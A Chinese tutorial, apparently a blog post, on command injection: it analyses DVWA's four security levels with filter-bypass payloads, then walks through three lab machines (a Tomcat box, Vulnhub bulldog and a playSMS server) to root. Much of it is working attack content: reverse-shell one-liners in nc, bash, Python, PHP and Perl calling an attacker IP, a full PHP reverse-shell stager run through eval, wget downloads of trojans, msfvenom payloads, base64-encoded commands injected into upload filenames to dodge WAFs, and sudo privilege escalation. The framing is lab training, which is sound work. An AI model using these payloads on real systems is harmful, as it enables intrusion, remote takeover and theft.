WEB安全实战(带靶场)–命令执行
靶场一:DVWA中的命令执行
靶场二:靶场实验 命令执行
综合实验1链接(失效请在评论区通知)
链接:https://pan.baidu.com/s/11hFpAiPaxnxxsc-qmVk93w 提取码: ka9r
综合实验2链接(失效请在评论区通知)
链接:https://download.vulnhub.com/bulldog/bulldog.ova
综合实验3链接(失效请在评论区通知)
链接: https://pan.baidu.com/s/1EhFUQ5si5pylFlSKRpN3Ug 提取码: bkgy
Brute Force(命令执行)
靶场一:DVWA中的命令执行
DVWA简介
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL
Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command
Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File
Upload(文件上传)、Insecure CAPTCHA(不安全的验证码)、SQL Injection(SQL注入)、SQL
Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。需要注意的是,DVWA
1.9的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。
DVWA的搭建
Freebuf上的这篇文章《WEB靶场搭建教程(PHPstudy+SQLllib+DVWA+upload-labs)》(https://www.freebuf.com/articles/web/270837.html)已经写得非常好了,在这里不再赘述。
Vulnerability: Command Injection(命令注入)
Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。
下面对四种级别的代码进行分析。
等级:Low
服务器端核心代码
\<?php
if( isset( \$_POST[ 'Submit' ] ) ) {
// 获取输入赋值给target
\$target = \$_REQUEST[ 'ip' ];
// 确定操作系统并执行ping命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// 这里是Windows系统命令是ping
\$cmd = shell_exec( 'ping ' . \$target );
}
else {
\$cmd = shell_exec( 'ping -c 4 ' . \$target );
}
// 结果反馈
echo "\<pre\>{\$cmd}\</pre\>";
}
?\>;
相关函数介绍
stristr(string,search,before_search)
stristr函数搜索字符串在另一字符串中的第一次出现,返回该字符串以及剩余的部分
(例如echo stristr("Hello world!","wo");最后结果是world!),如果未找到所搜索的字符串,则返回
FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII
值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search
参数第一次出现之前的字符串部分。
php_uname(mode)
这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a”(此为默认,包含序列”s n r v
m”里的所有模式),”s”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息),
”m”(返回机器类型)。 可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。
漏洞利用
window和linux系统都可以用&&来执行多条命令
127.0.0.1&&net user
**shell_exec(string \$cmd): string**
通过shell执行命令并将完整输出作为字符串返回
PHP的命令执行函数主要有:system、exec、passthru、shell_exec
**\<pre\>**
Html元素标签,常用来表示计算机的源代码
漏洞利用
window和linux系统都可以用关系运算符来执行多条命令
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假
“&&”:如果前面的语句为真先执行第一个命令后执行第二个命令
“||”:如果前面执行的语句执行出错,则执行后面的语句
“|”:直接执行后面的语句
“;”执行完前面的命令执行后面的
**常用url编码 :
** %20 = 空格
%5c = \
%26 = &
%7c = |
例如:127.0.0.1&&dir
如果是在Linux下输入127.0.0.1&&cat /etc/shadow甚至可以读取shadow文件,可见危害之大。
练习命令:
127.0.0.1 && ifconfig
127.0.0.1 & whoami
127.0.0.1 | whoami
127.0.0.1 || ifconfig
等级:Medium
服务器端核心代码
<?php
if( isset( $_POST[ ‘Submit’ ] ) ) {
// 获取输入
$target = $_REQUEST[ ‘ip’ ];
// 设置黑名单
$substitutions = array(
‘&&’ => ‘’,
‘;’ => ‘’,
);
// 删除黑名单数组中的字符。
$target = str_replace( array_keys( $substitutions ),
$substitutions, $target );if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {
$cmd = shell_exec( 'ping ’ . $target );
}
else {
$cmd = shell_exec( 'ping -n 4 ’ . $target );
}
echo “<pre>{$cmd}</pre>”;
}
?>
str_replace函数
str_replace(find,replace,string,count)
参数 | 描述 |
---|---|
find | 必需。规定要查找的值。 |
replace | 必需。规定替换 find 中的值的值。 |
string | 必需。规定被搜索的字符串。 |
count | 可选。一个变量,对替换数进行计数。 |
array_keys() 函数
返回包含数组中所有键名的一个新数组。
例如
<?php
$a=array(“x”=>“A”,“y”=>“B”,“z”=>“C”);
print_r(array_keys($a));
?>
/*结果:
Array ( [0] => x [1] => y [2] => z )
*/
漏洞利用
从上述代码可以看出只是过滤了;和&& 符号,我们依旧可以使用| 和|| 以及&。
方法2:由于使用的是str_replace把”&&”和”;”替换为空字符,因此可以采用以下方式绕过:
127.0.0.1&;&ipconfig
等级:High
源码分析
<?php
if( isset( $_POST[ ‘Submit’ ] ) ) {
$target = trim($_REQUEST[ ‘ip’ ]);
$substitutions = array(
‘&’ => ‘’,
‘;’ => ‘’,
'| ’ => ‘’,
‘-’ => ‘’,
‘$’ => ‘’,
‘(’ => ‘’,
‘)’ => ‘’,
‘`’ => ‘’,
‘||’ => ‘’,
);
$target = str_replace( array_keys( $substitutions ),
$substitutions, $target );if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {
$cmd = shell_exec( 'ping ’ . $target );
}
else {
$cmd = shell_exec( 'ping -n 4 ’ . $target );
}
echo “<pre>{$cmd}</pre>”;
}
?>
相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。
漏洞利用
黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是”|”成了“漏网之鱼”。
127.0.0.1|dir
方法2:
看了上面一幅图,大家也许就会有疑惑了,明明源代码里有过滤||,为什么还能执行呢?
我们仔细看一下它的黑名单顺序:
从上面可以看出,它确实有过滤||,但是,你注意到了顺序吗!!它是由上到下依次查找转义,它首先转义|空格
所以127.0.0.1 || ipconfig经过过滤后就是127.0.0.1 |ipconfig,因此,最后的执行命令便成了127.0.0.1 |ipconfig
等级:Impossible
源码分析
<?php
if( isset( $_POST[ ‘Submit’ ] ) ) {
// 检查反CSRF令牌
checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ],
‘index.php’ );$target = $_REQUEST[ ‘ip’ ];
$target = stripslashes( $target );
// 将IP分成4个八分之一
$octet = explode( “.”, $target );
// 检查每个八位字节是否为整数
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && (
is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && (
sizeof( $octet ) == 4 ) ) {// 如果四个八位组都是int,那么就把IP放回一起。
$target = $octet[0] . ‘.’ . $octet[1] . ‘.’ . $octet[2] . ‘.’ .
$octet[3];if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {
$cmd = shell_exec( 'ping ’ . $target );
}
else {
$cmd = shell_exec( 'ping -n 4 ’ . $target );
}
echo “<pre>{$cmd}</pre>”;
}
else {
// 告知用户输入有误
echo ‘<pre>ERROR: You have entered an invalid IP.</pre>’;
}
}
// 生成反CSRF令牌
generateSessionToken();
?>
相关函数介绍
stripslashes(string)
stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。
explode(separator,string,limit)
这里是引用
把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。
is_numeric(string)
检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。
可以看到,Impossible级别的代码加入了Anti-CSRF;token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。
综合实验1:WEB安全命令执行
实验环境
攻击机:kali ip如图所示192.168.31.15
靶场机器:ubuntu ip如图所示192.168.31.244
第一步:信息探测
扫描主机服务信息以及服务版本
– nmap -sV靶场IP地址
快速扫描主机全部信息
– nmap -T4 -A -v靶场IP地址
探测敏感信息
– nikto -host http://靶场lP地址:端口
根据收集到的信息 访问该页面
第一个页面:http://192.168.31.244:8080/
接着访问第二个页面http://192.168.31.244:8080/test.jsp
根据提示输入ls -l /tmp
可以查看home目录文件。发现用户bill
查看bill用户的目录文件,发现可以远程ssh以及使用sudo命令
我们利用ssh命令查看root权限
ssh bill@localhost sudo -l
关闭ubuntu防火墙命令:ufw disable
ssh bill@localhost sudo ufw disable
攻击方式:反弹shell
攻击机启动监听Netcat 介绍
Netcat(简称nc)是一款强大的命令行网络工具,用来在两台机器之间建立TCP/UDP连接,并通过标准的输入输出进行数据的读写
端口扫描
Netcat用来发现一些机器上开放的端口
传输文件
同样的,通过建立TCP连接,可以很方便的在两台主机间传输文件。如要将服务器A上的test.txt发送到服务器B(IP地址为172.16.0.4)上,
在服务器A上执行 nc 172.16.0.4 9999 < test.txt
在服务器B上执行 nc -l 9999 > test.txt
正向 shell
使用Netcat能实现类似ssh的功能,即将目标机器的shell终端暴露在某个端口上,然后本地机器使用Netcat连接到目标机器上,就可以访问目标机器的shell终端.
在目标机器上执行 nc -l 9999 | /bin/bash
本地机器上执行 nc 172.16.0.4 9999
虽然我们能使用本地机器传输命令给到目标机器执行,但与ssh连接还是有点区别,因为在本地机器上并不能看到命令的执行结果。可以使用管道巧妙的解决该问题,在目标机器上执行
\$ mkfifo /tmp/pipe
\$ cat /tmp/pipe \| /bin/bash 2\>&1 \| nc -l -p 9999 \> /tmp/pipe
上面两条命令主要功能如下:
- 用mkfifo命令创建一个命名管道
- 然后通过cat命令读取/tmp/pipe的内容,将内容通过管道发送给/bin/bash
- 将/bin/bash的执行结果通过管道发送给nc
- nc将从本地机器上接收到的命令保存到/tmp/pipe中
- /tmp/pipe中的命令又被cat读取,传输到/bin/bash中,至次完成整个数据的流向
- 现在在本地机器上就能收到/bin/bash命令的执行结果啦
言归真转:
反弹shell方法
- nc反弹shell
攻击机:nc -lvp 9999 // 监听9999端口
靶机:nc 1.1.1.1 9999 -e /bin/bash // Linux正向连接公网vps1.1.1.1的9999端口
nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe // Windows
- Bash反弹shell
攻击机:nc -lvp 6666
靶机:bash -i >& /dev/tcp/192.168.32.1/6666 0>&1
3、Python反弹shell
攻击机:nc -lvp 6666
靶机:python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.32.1”,6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’
4、PHP反向shell
攻击机:nc -lvp 6666
靶机:php -r ‘$sock=fsockopen(“192.168.32.1”,6666);exec(“/bin/sh -i <&3
>&3 2>&3”);’
5、Perl反弹shell
攻击机:nc -lvp 6666
靶机:perl -e ‘use Socket;
$i=“192.168.32.1”;$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”);exec(“/bin/sh
-i”);};’
这里我们用第二种使用bash反弹shell
攻击机kali启动监听端口6666
靶机我们使用ssh命令进行shell反弹
命令:ssh bill@localhost sudo bash -i >& /dev/tcp/192.168.31.15/6666 0>&1
此时我们的kali监听成功
获取flag值,实验结束。
渗透测试技巧,远程下载shell文件
攻击机kali开启apache服务
systemctl start apache2.service
利用命令执行下载木马文件
ssh bill@localhost sudo wget “http://192.168.31.15/shell.php” -O /var/lib/tomcat8/webapps/ROOT/shell.php
或者使用python开启简易的http服务器
Python3 -m http.server 8080
利用命令执行下载木马文件
ssh bill@localhost sudo wget “http://192.168.31.15:8080/shell.php” -O /var/lib/tomcat8/webapps/ROOT/shell.php
制作shell.php文件并复制到/var/www/html目录下面去
复制木马源码
\<?php /\*\*/ error_reporting(0); \$ip = '**192.168.31.15**'; \$port = **4444**; if ((\$f = 'stream_socket_client') && is_callable(\$f)) { \$s = \$f("tcp://{\$ip}:{\$port}"); \$s_type = 'stream'; } if (!\$s && (\$f = 'fsockopen') && is_callable(\$f)) { \$s = \$f(\$ip, \$port); \$s_type = 'stream'; } if (!\$s && (\$f = 'socket_create') && is_callable(\$f)) { \$s = \$f(AF_INET, SOCK_STREAM, SOL_TCP); \$res = @socket_connect(\$s, \$ip, \$port); if (!\$res) { die(); } \$s_type = 'socket'; } if (!\$s_type) { die('no socket funcs'); } if (!\$s) { die('no socket'); } switch (\$s_type) { case 'stream': \$len = fread(\$s, 4); break; case 'socket': \$len = socket_read(\$s, 4); break; } if (!\$len) { die(); } \$a = unpack("Nlen", \$len); \$len = \$a['len']; \$b = ''; while (strlen(\$b) \< \$len) { switch (\$s_type) { case 'stream': \$b .= fread(\$s, \$len-strlen(\$b)); break; case 'socket': \$b .= socket_read(\$s, \$len-strlen(\$b)); break; } } \$GLOBALS['msgsock'] = \$s; \$GLOBALS['msgsock_type'] = \$s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { \$suhosin_bypass=create_function('', \$b); \$suhosin_bypass(); } else { eval(\$b); } die();
Msf探测
综合实验2:bulldog
集成工具SPARTA(kali更名为legion)
Legion简介
Legion是SECFORCE的Sparta的分支,是一个开源,易于使用,超扩展和半自动化的网络渗透测试框架,针对发现,侦察和利用漏洞的信息系统。
Legion由GoVanguard开发和维护。有关军团的更多信息,包括产品路线图,可以在其项目页面上找到。使用NMAP,whataweb,nikto,Vulners,Hydra,SMBenum,dirbuster,sslyzer,webslayer等进行自动侦查和扫描(具有近100个自动调度的脚本
使用dirbuster暴力破解网站目录
也可以使用nikto查找敏感目录(这里不再阐述),这里发现dev目录
点击web-shell,出现以下回复,需要登陆用户。
我们查看web-shell页面源码进行分析,发现有注释行。
Team Lead: alan@bulldogindustries.com<br><!–6515229daf8dbdc8b89fed2e60f107433da5f2cb–>
Back-up Team Lead: william@bulldogindustries.com<br><br><!–38882f3b81f8f2bc47d9f3119155b05f954892fb–>
Front End: malik@bulldogindustries.com<br><!–c6f7e34d5d08ba4a40dd5627508ccb55b425e279–>
Front End: kevin@bulldogindustries.com<br><br><!–0e6ae9fe8af1cd4192865ac97ebf6bda414218a9–>
Back End: ashley@bulldogindustries.com<br><!–553d917a396414ab99785694afd51df3a8a8a3e0–>
Back End: nick@bulldogindustries.com<br><br><!–ddf45997a7e18a25ad5f5cf222da64814dd060d5–>
Database: sarah@bulldogindustries.com<br><!–d8b8dd5e7f000b8dea26ef8428caf38c04466b3e–>
分别copy出来进行hash解密
可以使用在线解密网址:https://www.cmd5.com/
或者使用john进行解密
这里我们获取到一个用户名为:nick,密码为:bulldog,进行登陆后页面存在cookie缓存,此时我们的web-shell就能正常打开。
此时我们打开web-shell页面
发现命令执行窗口
使用echo命令进行shell反弹
echo ‘bash -i >& /dev/tcp/192.168.31.15/6666 0>&1’ | bash
进入到该目录,发现customPermissionApp文件,以及note清单
密码:SUPERultimatePASSWORDyouCANTget
使用sudo su 命令(sudo su命令执行切换到root用户,需要当前用户的密码)
最后切换到根目录,获取到最终的祝贺语
综合实验3:命令注入(多种解析)
实验环境
攻击机:kali ip如图所示192.168.31.15
靶场机器:ubuntu ip如图所示192.168.31.47
第一步:信息探测
快速扫描主机全部信息
– nmap -T4 -A -v靶场IP地址
发现开放有80端口,以及robots.txt文件,还有/ange1 /angel1 /nothing /tmp /uploads
五个目录
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UoFCbD8o-1671609096148)(media/2613133c6a897ef63a45e852170d1876.png)]
探测敏感信息
– nikto -host http://靶场lP地址:端口
或者使用工具legion进行探测
更多的暴力破解目录,还可以使用dirbuster工具或者命令dirb http://ip:端口
接着我们来访问刚才扫描到的目录
/robots.txt 发现几个目录
访问/angel /noting /tmp /uploads 网页均无任何有用信息(这里就要查看源码!!)
查看/nothing 源码
接着访问
http://192.168.31.47/secure/ 发现有一个备份文件,打开是一个需要密码的MP3文件(密码就是上图中的freedom)
但是文件打不开,可能不是一个mp3文件,需要file命令判断文件类型,cat读取文件内容。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VmLyWPCB-1671609096151)(media/d76c82d2731a9fa975ea6ec64b0fab0c.png)]
发现的用户名是touhid
以及目录url : /SecreTSMSgatwayLogin ,访问该目录发现登陆页面
http://192.168.31.47/SecreTSMSgatwayLogin/index.php?app=main&inc=core_auth&route=login
用户名:touhid
密码尝试后发现是diana
使用渗透测试工具searchsploit 探测该网站存在过那些可利用漏洞
命令格式:searchsploit 对应系统
例如此处:searchsploit playsms
查询最新的漏洞
发现存在命令执行漏洞
存在文件上传漏洞
使用burpsuite进行抓包,根据漏洞提示,在filename处可以进行命令执行。
<?php system(‘id’);die(); ?>.php
漏洞利用1:命令执行漏洞
**
**
使用第2个模块
use exploit/multi/http/playsms_filename_exec
并查看需要配置的选项
show options
使用set命令设置配置信息
最后运行run,获取到meterpreter
漏洞利用2:命令执行漏洞(利用远程下载webshell)
- 生成shell
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.31.15 lport=4444 -f elf > /var/www/html/webshell
2、启动监听(一定要先run)
Kali桌面新建三个文件。
依次输入以下三个命令并进行base64编码(目的为了绕过WAF以及防火墙的检测)
1、开始第一个文件的抓包,并将filename修改为以下内容:
<?php system(base64_decode(‘d2dldCBodHRwOi8vMTkyLjE2OC4zMS4xNS93ZWJzaGVsbCAtTyAvdG1wL3dlYnNoZWxsCg==’));die();?>.php
2、第二个文件抓包
<?php system(base64_decode('Y2htb2QgNzc3IC90bXAvd2Vic2hlbGwK’));die();?>.php
3、第三个文件抓包
<?php system(base64_decode(‘L3RtcC93ZWJzaGVsbAo=’));die();?>.php
发现perl不需要sudo验证,使用命令
sudo perl -e "exec ‘/bin/sh’ "
bash -i
获取到root权限:
最后在/root 根目录发现flag.txt文件,实验结束(root密码:hello@3210)